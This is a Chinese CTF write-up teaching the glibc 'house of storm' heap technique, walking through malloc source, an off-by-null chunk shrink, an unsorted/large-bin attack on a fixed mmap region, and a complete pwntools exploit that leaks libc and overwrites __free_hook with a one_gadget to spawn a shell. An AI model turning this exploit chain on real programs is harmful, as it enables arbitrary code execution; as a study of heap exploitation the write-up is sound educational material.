house of storm 的利用

题目逻辑

init_data

利用mallopt函数将fastbin关闭,并且通过mmap函数分配一段地址空间,空间的范围为0x13370000-0x13371000,通过fd=open("/dev/urandom",0)去获取随机数,并往0x13370800地址开始写入24个字节。

for循环是将mmap开辟的地址填充随机数异或后的结果。

add

输入的size值的范围为0xc-0x1000,并且得到的堆块地址以及输入的size会通过异或再存入mmap的地址段中。

delete

show

show函数打印有前提条件,因此程序刚开始是不可以输入信息的,需要修改后才能输出。

edit

edit功能,输入的size值只能是add时填入的size-0xc,因为这0xc的空间会被自动填入数据,但是却额外的填入了0字节,造成了off-by-null的漏洞。

源码与分析

  • mallopt

  • mmap

  • unlink

  • unsortbin

mallopt

int mallopt(int param,int value)

  • param的取值可以为

    • M_MMAP_MAX用于设置进程中用mmap分配的内存块的最大限制,默认值为64K。如果将M_MMAP_MAX设置为0,ptmalloc将不会使用mmap分配大块内存。

    • 用于设置mmap阈值,默认值为128K,ptmalloc默认开启动态调整mmap分配阈值和mmap收缩阈值。

    • 当用户需要分配的内存大于mmap分配阈值,ptmalloc的malloc()函数其实相当于mmap()的简单封装,free函数相当于munmap()的简单封装。相当于直接通过系统调用分配内存,回收的内存就直接交还给操作系统。因为大块内存不能被ptmalloc缓冲管理,不能重用,所以ptmalloc也只有在不得已情况下使用该方式分配内存

    • mmap分配的好处

    • mmap分配的坏处

    • 因此mmap来分配长生命周期的大内存块是嘴好的选择,其他情况下都不太高效。

    • mmap的空间可以独立从系统中分配和释放的系统,对于长时间运行的程序,申请长生命周期的大内存块就很适合。

    • mmap的空间不会被ptmalloc所在缓冲的chunk中,不会导致ptmalloc内存暴增。

    • 对于有些系统的虚拟地址空间存在洞,只能使用mmap()进行分配内存,sbrk()不能运行。

    • 内存不能被ptmalloc回收再利用

    • 会导致更多的内存浪费,因为mmap需要按页对齐。

    • 分配效率跟操作系统提供的mmap()函数的效率密切相关,Linux系统强制把匿名mmap的内存物理页请0.

    • 用于设置mmap收缩阈值,默认值为128KB

    • 用于设置fastbins保存chunk的最大大小,默认为64B最大可以设置为80B,若设置为0,则表示不使用fast bins

    • M_MXFAST

    • M_TRIM_THRESHOLD

    • M_MMAP_THRESHOLD

    • M_MMAP_MAX

#ifndef M_MXFAST
# define M_MXFAST  1    /* maximum request size for "fastbins" */
#endif


int __libc_mallopt (int param_number, int value)
{
    mstate av = &main_arena;
int res = 1;  
if (__malloc_initialized < 0)
      ptmalloc_init ();
    __libc_lock_lock (av->mutex);  
    LIBC_PROBE (memory_mallopt, 2, param_number, value);  
/* We must consolidate main arena before changing max_fast
5149       (see definition of set_max_fast).  */
    malloc_consolidate (av);  
switch (param_number)
      {
case M_MXFAST:
if (value >= 0 && value <= MAX_FAST_SIZE)          
          {
            LIBC_PROBE (memory_mallopt_mxfast, 2, value, get_max_fast ());
            set_max_fast (value);
        }
else
          res = 0;
break;  
case M_TRIM_THRESHOLD:
        do_set_trim_threshold (value);
break;  
case M_TOP_PAD:
        do_set_top_pad (value);
break;  
case M_MMAP_THRESHOLD:
        res = do_set_mmap_threshold (value);
break;  
case M_MMAP_MAX:
        do_set_mmaps_max (value);
break;  
case M_CHECK_ACTION:
        do_set_mallopt_check (value);
break;  
case M_PERTURB:
        do_set_perturb_byte (value);
break;  
case M_ARENA_TEST:
if (value > 0)
          do_set_arena_test (value);
break;  
case M_ARENA_MAX:
if (value > 0)
          do_set_arena_max (value);
break;
      }
    __libc_lock_unlock (av->mutex);
return res;
}

mmap

void* mmap(void* start,size_t length,int prot,int flags,int fd,off_t offset);
  • start:映射区的开始地址,设置为0时表示由系统决定映射区的起始地址

  • length:映射区的长度。以字节为单位

  • prot:期望内存保存标志,不能与文件的打开模式重读

    • PROT_EXEC:页内容可以被执行

    • PROT_READ:页内容可以被读取

    • PROT_WRITE:页可以被写入

    • PROT_NONE:页不可被访问

  • flags:指定映射对象的类型,映射选项和映射页是否可以共享。它的值可以是一个或者多个以下选项的组合

    • MAP_FIXED:使用指定的映射其起始地址,如果由start和len参数指定的内存区重叠于现存的映射空间,重叠部分将会被丢弃。如果指定的起始地址不可用,操作将会失败。并且起始地址必须落在页的边界上。

    • MAP_SHARED:与其他所有映射这个对象的进程共享映射空间。对共享区的写入,相当于输出到文件。直到msync()或者munmap()被调用,文件实际上不会被更新。

    • MAP_PRIVATE //建立一个写入时拷贝的私有映射。内存区域的写入不会影响到原文件。这个标志和以上标志是互斥的,只能使用其中一个。

    • MAP_DENYWRITE //这个标志被忽略。

    • MAP_EXECUTABLE //同上

    • MAP_NORESERVE //不要为这个映射保留交换空间。当交换空间被保留,对映射区修改的可能会得到保证。当交换空间不被保留,同时内存不足,对映射区的修改会引起段违例信号。

    • MAP_LOCKED //锁定映射区的页面,从而防止页面被交换出内存。

    • MAP_GROWSDOWN //用于堆栈,告诉内核VM系统,映射区可以向下扩展。

    • MAP_ANONYMOUS //匿名映射,映射区不与任何文件关联。

    • //MAP_ANONYMOUS的别称,不再被使用。

    • MAP_FILE //兼容标志,被忽略。

    • MAP_32BIT //将映射区放在进程地址空间的低2GB,MAP_FIXED指定时会被忽略。当前这个标志只在x86-64平台上得到支持。

    • MAP_POPULATE //为文件映射通过预读的方式准备好页表。随后对映射区的访问不会被页违例阻塞。

    • MAP_NONBLOCK //仅和MAP_POPULATE一起使用时才有意义。不执行预读,只为已存在于内存中的页面建立页表入口。

  • fd:有效的文件描述词。一般是由open()函数返回,其值也可以是为-1,此时需要指定flags参数中的MAP_ANOP,表明进行的是匿名映射。

  • off_toffset:被映射对象内容的起点。

/dev/urandom

利用/dev/urandom文件创建随机数

从unsortbin取出堆块的源码

源码截取自glibc-2.27/malloc/malloc.c:3729

unlink

从largebin中申请堆块

思路

##step 1

利用off-by-null 漏洞,实现chunk shrink

add(0x28)#0
add(0xaa0)#1 利用Off-by-null的漏洞,实现堆块的收缩,完成堆块的重叠
add(0x80)#2  该堆块的prev_size会为0xab0且不会被修改
add(0x80)#3 防止与top chunk合并
edit(1,0xa00-0x8,'a'*(0xa00-0x10)+p64(0xa00))#设置prev_size域绕过unlink检测
delete(1)
edit(0,0x28-0xc,'a'*(0x28-0xc))#触发off-by-null漏洞
add(0x80)#1
add(0x420)#4
add(0x80)#5
add(0x410)#6  
add(0x80)#7
# trigger unlink
delete(1)
delete(2)#触发unlink,完成堆块的堆叠

**这里解释下edit的原因**

edit(1,0xa00-0x8,'a'*(0xa00-0x10)+p64(0xa00))

off-by-null之前

off-by-null之后

由于off-by-null的原因,size域的最低字节被0字节覆盖了

add(0x80)#1
add(0x420)#4
add(0x80)#5
add(0x410)#6  
add(0x80)#7

此时需要将unsortbin的空闲chunk申请出来,为什么这样申请,后续有说明。当申请堆块时,由于fastbin,smallbin都没有符合要求的堆块,因此会遍历unsortbin找到是否有合适的堆块,没有则断开双链,将unsortbin里面的堆块放到合适的bin里面,而此时位于unsortbin里的空闲chunk的大小为0xa00,是属于largebin里的,因此会先将空闲chunk放进largebin中,再通过unlink操作从largebin中分隔适合的堆块出来。翻看一下源码。

从unsortbin解链,放进largebin中

/* remove from unsorted list */
          unsorted_chunks (av)->bk = bck;
//unsortbin的bk指针指向倒数第二个堆块
          bck->fd = unsorted_chunks (av);
//倒数第二个堆块的fd指针指向unsortedbin
//把unsortbin的最后一个堆块取出来
      ......
          victim->fd_nextsize = victim->bk_nextsize = victim;    
//vitctim为从unsortbin中取出的堆块

从largebin中申请堆块

if ((victim = first (bin)) != bin &&
              (unsigned long) (victim->size) >= (unsigned long) (nb)) //判断largebin是否为空以及判断请求的size是否小于largebin中最大块的size
            {
              victim = victim->bk_nextsize; 
//通过bk_nextsize指针遍历,从小到大找堆块
while (((unsigned long) (size = chunksize (victim)) <
                      (unsigned long) (nb))) //直到找到的堆块size值大于或等于请求的size值
                victim = victim->bk_nextsize; 


/* Avoid removing the first entry for a size so that the skip
                 list does not have to be rerouted.  */
if (victim != last (bin) && victim->size == victim->fd->size) //若申请的chunk存在着多个结点,则申请结点,而不申请堆头
                victim = victim->fd;


              remainder_size = size - nb;
              unlink (av, victim, bck, fwd); //unlink操作取出堆块

可以发现从largebin取出堆块是通过unlink操作的,那么我们就需要绕过unlink检测

if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))  
//检查P堆块的size域与P的下一个堆块的prev_szie域是否一致
      malloc_printerr ("corrupted size vs. prev_size");

这里的p堆块即需要取出的largebin,在unlink的第一个条件是需要判断当前堆块的size域与下一个堆块的prev_size域是否一致。

若我们不eidt去伪造prev_size域则可能造成

可以发现与unlink第一个判断条件的报错输出一致,即没有绕过unlink的检测,因此edit是为了构造

(chunksize(P) == prev_size (next_chunk(P))

构造两个largebin大小的堆块

add(0x80)#1
add(0x420)#4
add(0x80)#5
add(0x410)#6    
add(0x80)#7

这里我们需要构造两个largebin大小的堆块,用于后续的操作。

触发unlink

delete(1)
delete(2)

由于通过off-by-null的漏洞将堆块的size收缩了,但是由于空闲块的管理机制,被释放掉的堆块的下一个堆块的prev_size域会记录其大小,因此触发unlink可以实现堆块的堆叠

接着触发unlink

实现了堆块的堆叠

##step 2

mmap_addr = 0x13370800-0x10
add(0x80)#1
add(0x420)#4 unsortchunk
add(0x80)#5
add(0x410)#6 largechunk  
add(0x80)#7
....
....
delete(6) #largechunk
add(0x500)#2
delete(4) #unsortchunk
#unsortchunk
payload = 'a'*0x80+p64(0)+p64(0x431)
payload += p64(0)+p64(mmap_addr)
#largechunk
payload += 'a'*(0x420-0x10)
payload += p64(0)+p64(0x91)
payload += 'a'*0x80
payload += p64(0)+p64(0x421)  
payload += p64(0)+p64(mmap_addr+8)
payload += p64(0)+p64(mmap_addr-0x18-5)
edit(1,len(payload),payload)

首先通过刚刚排好的堆块实现,unsortbin与largebin的攻击,而且unsortbin堆块的大小需要比lagrebin堆块的更大。

首先伪造unosrtbin堆块的bk指针,使得可以完成任意地址堆块分配

#unsortchunk
payload = 'a'*0x80+p64(0)+p64(0x431)
payload += p64(0)+p64(mmap_addr)

回头看看源码

if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
set_non_main_arena (victim);
#if USE_TCACHE
.....
else
{
#endif
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;

若我们申请的size与unosrtbin中的堆块的size值一致,则直接取出

unsortchunk为一开始我们放入unsortbin的chunk,修改bk指针使得它指向我们想要获得的chunk

unsortbin第一次遍历时,我们放入unsortbin中的chunk会被断开双链并放入largebin中,并且target_chunk会成为unsortbin的bk指针指向的chunk,并且在第二次遍历时,由于我们申请的chunk与target_chunk的size值一致,因此我们会直接取出target_chunk,达到了任意堆块的分配,那么想要完成这种攻击则需要伪造target_chunksize值。

利用largetbin的攻击,伪造target_chunk的size值与target_chunk的bk指针

#largechunk
payload += 'a'*(0x420-0x10)
payload += p64(0)+p64(0x91)
payload += 'a'*0x80
payload += p64(0)+p64(0x421)  
payload += p64(0)+p64(mmap_addr+8)#lagrgebin->bk
payload += p64(0)+p64(mmap_addr-0x18-5)#largebin->bk_nextsize

首先是伪造target_chunk->bk指针

payload += p64(0)+p64(mmap_addr+8)#lagrgebin->bk

回过头看下largebin是如何从unsortbin中放入largebin的

else
                        {
//否则vitcim自己成为堆头
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;
//fwd为控制的堆块
                    }
                    .....
                    mark_bin (av, victim_index);
                    victim->bk = bck;
                    victim->fd = fwd;
                    fwd->bk = victim;
                    bck->fd = victim;

victim为我们从unsortbin取出来的unsortchunkfwd为我们放进largebin中的largechunk

 bck = fwd->bk; //即bck = largechunk->bk
 ....
 bck->fd = victim;//bck->fd = unsortchunk_addr

再将unsortchunk放入lagrgebin的链表中时,需要访问largechunk的bk指针指向的内容,因此largechunk->bk指针指向的地址必须是有效的。

第二需要注意的点,当我们需要从unsortbin的链表中直接获取堆块时,需要注意要通过unsortbin的检测

          unsorted_chunks (av)->bk = bck;
          //bck指的是target_chunk->bk
          //unsortbin的bk指针指向倒数第二个堆块
          bck->fd = unsorted_chunks (av);
          //需要访问到target_chunk->bk->fd,因此target_chunk->bk需要是有效地址

可以看到当我们需要取出target_chunk时,会需要访问到target_chunk->bk指针指向的地址,因此该地址也必须有效,否则会报错。借助

bck->fd = victim;//bck->fd = unsortchunk_addr

bck为我们伪造的largechunkbk指针,若我们将该bk指针伪造为target_chunk+8

(target_chunk+8)->fd = target_chunk->bk = victim
//成功将target_chunk->bk指针指向有效地址

伪造target_chunk的size域

payload += p64(0)+p64(mmap_addr-0x18-5)#largebin->bk_nextsize

回顾从unsortbin解除链接,放入largebin的过程

//victim为unsortchunk
//fwd为largechunk
              victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
//fwd->bk_nextsize是我们伪造的地址,并且将该地址赋值给unsortchunk->bk_nextsize
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
//victim->bk_nextsize已经被赋值为我们伪造的地址即fake_addr
//将unsortchunk的地址赋值给fake_addr->fd_nextsize

可以看到我们伪造的bk_nextsize的值,可以被unsortchunk的地址所赋值,我们目标是将target_chunksize域给修改成我们希望的值,由于程序开启了pie,当开启pie时堆块的地址的最高字节一般为0x550x56,那么我们只需要将堆块的高字节部分被填写入targetchunksize域则完成size域的伪造则

//fake_addr的值为victim->bk_nextsize,即为fwd->bk_nextsize,即为我们伪造的bk_nextsize
fake_addr -> fd_nextsize = victim;
//伪造targetchunk的size域
target_chunk - 0x18 - 5 = victim;

`target_chunk-0x18是使得victim->bk_nextsize落于targetchunksize域,由于堆块为6个字节,因此要将使得最高字节落入size域需要再-5,便可将堆块的最高字节落入size域,使得targetchunksize域为0x550x56`,这里注意小端模式。

但是需要堆块的高字节为0x56才能申请成功,这是因为

assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
ar_ptr == arena_for_chunk (mem2chunk (victim)));

程序会通过标志位判断该堆块是否为mmap申请而来。

伪造后的堆块

##step 3

当我申请成功后,就获得了在mmap地址段写能力,也就能够完成任意地址写了,这里需要注意的是,由于我们将mmap的地址放入unsortbin地址取出,此时mmap的fd与bk指针会被修改为main_aren与堆块地址,即异或随机数被修改为main_arean与堆块地址了

接着修改后续内容使得程序的show功能启用,利用任意地址写进而getshell

exp

from pwn import *
#sh = remote("node3.buuoj.cn",26774)
sh = process("./pwn")
libc = ELF("libc.so.6")
def add(size):
  sh.recvuntil("Command:")
  sh.sendline("1")
  sh.recvuntil("Size: ")
  sh.sendline(str(size))
def edit(index,size,content):
  sh.recvuntil("Command:")
  sh.sendline("2")
  sh.recvuntil("Index: ")
  sh.sendline(str(index))
  sh.recvuntil("Size: ")
  sh.sendline(str(size))
  sh.recvuntil("Content: ")
  sh.send(content)
def delete(index):
  sh.recvuntil("Command:")
  sh.sendline("3")
  sh.recvuntil("Index: ")
  sh.sendline(str(index))
def show(index):
  sh.recvuntil("Command:")
  sh.sendline("4")
  sh.recvuntil("Index: ")
  sh.sendline(str(index))
mmap_addr = 0x13370800-0x10
#step 1 chunk shrink
add(0x28)#0
add(0xaa0)#1
add(0x80)#2
add(0x80)#3
edit(1,0xa00-0x8,'a'*(0xa00-0x10)+p64(0xa00))
delete(1)
edit(0,0x28-0xc,'a'*(0x28-0xc))
add(0x80)#1
add(0x420)#4 unsortchunk
add(0x80)#5
add(0x410)#6 largechunk  
add(0x80)#7
# trigger unlink
delete(1)
delete(2)


add(0xb30)#1
payload = 'a'*0x80+p64(0)+p64(0x431)
payload += 'a'*0x420+p64(0)+p64(0x91)
payload += 'a'*0x80+p64(0)+p64(0x421)
payload += 'a'*0x410+p64(0)+p64(0x90+0x90+0xb1)
edit(1,len(payload),payload)


delete(6)
add(0x500)#2
delete(4)
#unsortbin
payload = 'a'*0x80+p64(0)+p64(0x431)
payload += p64(0)+p64(mmap_addr)
#largebin
payload += 'a'*(0x420-0x10)
payload += p64(0)+p64(0x91)
payload += 'a'*0x80
payload += p64(0)+p64(0x421)  
payload += p64(0)+p64(mmap_addr+8)
payload += p64(0)+p64(mmap_addr-0x18-5)
edit(1,len(payload),payload)
#get target chunk


add(0x48)#4
attach(sh)
payload = p64(0)*3+p64(0x13377331)+p64(mmap_addr+0x10)+p64(0x80)
edit(4,len(payload),payload)
show(0)
sh.recvuntil("Chunk[0]: ")
sh.recv(0x60)
xor1 = u64(sh.recv(8))
xor2 = u64(sh.recv(8))
print 'xor1:'+hex(xor1)
print 'xor2:'+hex(xor2)
main_arena = xor1 ^ (mmap_addr+0x10)
print 'main_arena:'+hex(main_arena)
libc_base = main_arena - 0x3c4b78
print 'libc_base'+hex(libc_base)
free_hook = libc_base + libc.symbols['__free_hook']
print 'free_hook:'+hex(free_hook)
system = libc_base + libc.symbols['system']
print 'system:'+hex(system)
one_gadget = libc_base + 0x4526a
payload = p64(0)*4+p64(free_hook)+p64(0x8)
edit(0,len(payload),payload)
edit(0,0x8,p64(one_gadget))


#attach(sh)


sh.interactive()

如果大家想要尝试远程的可以去https://buuoj.cn/里面有许多往年的原题,是个很好的做题网站

总结

这是一道用于学习house of storm的题目,这道题目涉及的知识点较多unsortbin的循环取出,unlink操作,chunk overlapping等等,可以多看看源码并且对知识做一个归纳总结。

参考连接

https://blog.csdn.net/u013920085/article/details/52847464
http://eternalsakura13.com/2018/04/03/heapstorm2/
https://mp.weixin.qq.com/s/m30WVySbRrah9GFPdwcGKw
https://xz.aliyun.com/t/5265
https://bbs.pediy.com/thread-225973.htm
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/implementation/basic-zh/#unlink

相关实验:

通过write实现信息泄漏 

https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015111814115000001

(介绍信息泄露、GOT、PLT等相关概念,着重讲解信息泄露在缓冲区溢出中的重要作用,为你揭开CTF PWN题目提供的libc.so.6文件的神秘面纱。)

欢迎投稿至邮箱:[email protected]

有才能的你快来投稿吧!

投稿细则都在里面了,点击查看哦

重金悬赏 | 合天原创投稿涨稿费啦!

点击这里提升自己

猜你喜欢

转载自blog.csdn.net/qq_38154820/article/details/107075631
今日推荐